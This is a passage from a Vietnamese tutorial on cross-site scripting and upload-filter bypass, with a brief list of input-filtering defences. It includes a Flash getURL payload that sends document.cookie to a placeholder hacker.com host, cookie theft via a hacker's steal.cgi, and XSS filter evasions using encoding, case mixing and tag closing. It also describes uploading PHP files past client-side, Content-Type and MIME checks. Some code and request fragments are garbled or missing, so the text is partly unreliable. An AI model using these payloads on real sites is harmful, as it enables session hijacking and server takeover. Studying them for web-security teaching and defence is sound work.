Bước 3: Khi người dùng click vào những liên kết đó thì đoạn mã mà hacker viết ra có tác dụng chuyển thông tin cookie đánh cắp được về một chương trình CGI hoặc trang web của hacker và lưu trữ vào một tập.

Bước 4: Sau khi nhận được cookie đánh cắp, hacker dùng nó để thâm nhập vào phiên làm việc của nạn nhân.

Ví dụ: Trang web http://www.test.com có lỗ hổng XSS, hacker sẽ thực hiện kỹ thuật tấn công XSS như sau:

Khi hacker phát hiện ra website http://www.test.com có lỗ hổng XSS,hacker gửi đến cho những người dùng của ứng dụng này một liên kết có thể dạng như sau:

Một phần hưởng hấp dẫn đang chờ bạn

Vậy nếu người dùng click vào liên kết do hacker gửi đến sẽ trở thành nạn nhân của hacker, cookie của họ sẽ bị đánh cắp và là tham số truyền vào cho chương trình steal.cgi của hacker.

Nhưng những liên kết như vậy nếu một người dùng cảnh giác và có thể có một chút kiến thức về lập trình web hay hiểu biết một chút về XSS thì sẽ rất khó bị mắc lừa Nhưng hacker có thể sử dụng liên kết có dạng như sau: http://example.com/search.cgi?%71%75%65%61%72%79%3D%3C

%73%63%72%69%70%74%3E]http://test.com/index.php?

%71%75%65%61 %72%69%70%74%3E Đó chính là cách là hacker qua mặt người dùng, bởi vì liên kết đã được thay thế bằng mã Hex, tất nhiên trình duyệt vẫn hiểu liên kết thực sự là gì.

1.3 Tấn công XSS bằng Flash

Ngoài những cách tấn công trên hacker còn có thể sử dụng những tập tin flash nhờ vào một ngôn ngữ kịch bản là ActionScript Macromedia Flash cho phép Actionscript được thực thi dưới những tập tin flash, Action script có cú pháp đơn giản và tương tự như Javarscript, C hay Pearl Ví dụ hàm getURL dùng để gọi đến

1 trang web khác, tham số thường là 1 URL chẳng hạn như http://www.yahoo.com getURL(‘http://www.yahoo.com’)

Tuy nhiên ta cũng có thể thay thế URL trên bằng một đoạn mã JavarScript như sau: getURL(‘javascript :alert(document.cookie)’) hoặc: getURL(‘javarscript :location(‘http://www.hacker.com ? cookie=’+document.cookie)’)

Các trang web cho phép thành viên gửi dữ liệu dưới dạng HTML hoặc tạo chữ kí riêng như các diễn đàn đều có thể trở thành nạn nhân của phương pháp tấn công này.

- Với những dữ liệu, thông tin do người dùng nhập vào, ta cần phải thực hiện một số biện pháp như sau:

+ Tạo danh sách những thẻ HTML được phép sử dụng.

+ Lọc bất kì một đoạn mã JavarScipt/Java/VBScipt/… nào.

+ Lọc dấu nháy đơn và nháy kép.

+ Vẫn cho phép nhập những ký tự đặc biệt nhưng sẽ mã hóa theo chuẩn riêng.

Kỹ thuật ByPass Filter

Hiện nay, hầu hết các security web thường tạo ra các bộ lọc để không cho phép tiêm Cross Site Script Tuy nhiên, chúng ta có thể vượt qua các bộ lọc này bằng các phương pháp thông dụng dưới đây:

- Khi php.ini ấn định magic_quotes_gpc=on, nó có nghĩa là server sẽ không cho phép ta dùng " và ' Vì vậy khi ta chèn alert('hello world!') sẽ không thực hiện được vì đã phạm luật.

- Ví dụ: hello world! ==> String.fromCharCode(104, 101, 108, 108, 111,

108, 108, 111, 32, 119, 111, 114, 108, 100, 33)) Câu này hoàn toàn hợp lệ và không phạm luật.

+ bypass with cryption in full html

Rất đơn giản, chúng ta chỉ cần mã hoá (dùng urlencode của hackbar hoặc các tool khác)

Ví dụ: alert('hello world!')

=>%3Cscript%3Ealert%28%27hello%20world%21%27%29%3C%2fscript%3E

(nếu cần mã hoá luôn chữ).

Trường hợp này khi bộ lọc kiểm tra chuổi alert, script … Để vượt được nó ta chỉ cần làm sai lệch 1 tý ví dụ: AlERt, ScRipT v.v.v.

Ví dụ: AlERt(123456)

+ bypass with trying around method (sử dụng các method)

Vấn đề này hay nhắc đến ở các khung tìm kiếm dùng thẻ input, lúc này ta chỉ cần thêm "> ("> nghĩa là đóng thẻ input nếu như value nằm cuối cùng) sau đó chèn thêm alert('hello world!'). ví dụ: http://target.com/search.php?search=">alert('hello world!')

Trên đây là một số cách bypass thông dụng, vẫn còn nhiều hình thức chèn vào input như dùng onmouseover, onload…, tùy tình huống vận dụng.

2.2 Kỹ thuật ByPass Filter trong UpLoad file

Một số ứng dụng cho phép người dùng upload file lên hệ thống, thường là file hình như jpg, png, gif,… Trong quá trình xây dựng ứng dụng, người lập trình có thể sử dụng javascript hoặc php để kiểm tra đảm bảo dữ liệu up lên hệ thống nằm trong danh sách những loại file mà người lập trình quy định, nguy hiểm hơn nữa là người lập trình ko hề để ý tới dạng của file thì ứng dụng đang đứng trước nguy cơ bị tấn công bằng kỹ thuật upload file Ta xét một kịch bản upload file gồm một trang upload.html và một trang upload.php

Trang upload.html có mã nguồn như sau:

Và trang xử lý upload là upload.php có mã nguồn như sau:

Demo hack upload file

Select the file to upload:

function chkFileExtension()

{ var str=document.upload.userfile.value; var ext=str.substring(str.length,str.length-3); if

{ alert(“File is invalid”); return false;

Kịch bản trên cho phép người dùng upload file lên server, ta cùng nghiên cứu các phương pháp vượt qua kiểm tra file upload.

+ Vượt qua kiểm tra ngôn ngữ trình khách

Ta thêm vào của trang upload.html đang xét đoạn code javarscript sau: Đoạn script trên có chức năng kiểm tra 3 ký tự cuối cùng của tên file, nếu khác gif thì ko cho phép upload Nhưng với cách kiểm tra bằng ngôn ngữ trình khách như vậy có thể bị vượt qua một cách dễ dàng bằng cách dùng các tool proxy để thay đổi nội dùng truyền đến trình chủ, hoặc tải mã nguồn file upload.html về máy và bỏ đi đoạn kiểm tra bằng javarscript trên, ta có thể upload được bất cứ loại

$uploadfile = $uploaddir basename($_FILES[‘userfile’][‘name’]); if (move_uploaded_file($_FILES[‘userfile’][‘tmp_name’], $uploadfile)) { echo “File was successfully uploaded.\n”;

} else { echo “File uploading failed.\n”;

+ Vượt qua kiểm tra Content-Type

Ta thêm vào file upload.php đoạn script kiểm tra định dạng file up load như sau:

Với cách kiểm tra định dang file như trên, có vẻ như đã an toàn hơn một chút nhưng ta có thể vượt qua bằng cách sau:

Khi ta upload một file test.php, nhấn nút upload dữ liệu được truyền lên trình chủ có dạng như sau:

Ta hãy để ý đến đoạn in đậm: Content-Type: application/octet-stream Vì ta đã kiểm tra Content-Type này bằng lệnh $_FILES[‘userfile’][‘type’] Chỉ chấp nhận Content-Type là image/gif , vậy việc ta cần làm chỉ là thay đổi lại giá trị của trường Content-Type này thành image/gif bằng một tool proxy cho phép thay đổi dữ liệu trước khi gửi lên trình chủ như tempdata.

+ Vượt qua kiểm tra MINE

Ta thêm vào file upload.php đoạn script kiểm tra định dạng file upload như sau: name=”upload”\r\n\r\nupload\r\n -87532403332029 \r\n include”;\r\n?>\r\n - form-data; 87532403332029\r\nContent-Disposition:

-87532403332029\r\nContent-Disposition:form-data; name=”userfile”;filename=”test.php”\r\nContent-Type:application/octet- stream\r\n\r\n

Ngày đăng: 05/08/2024, 14:08

w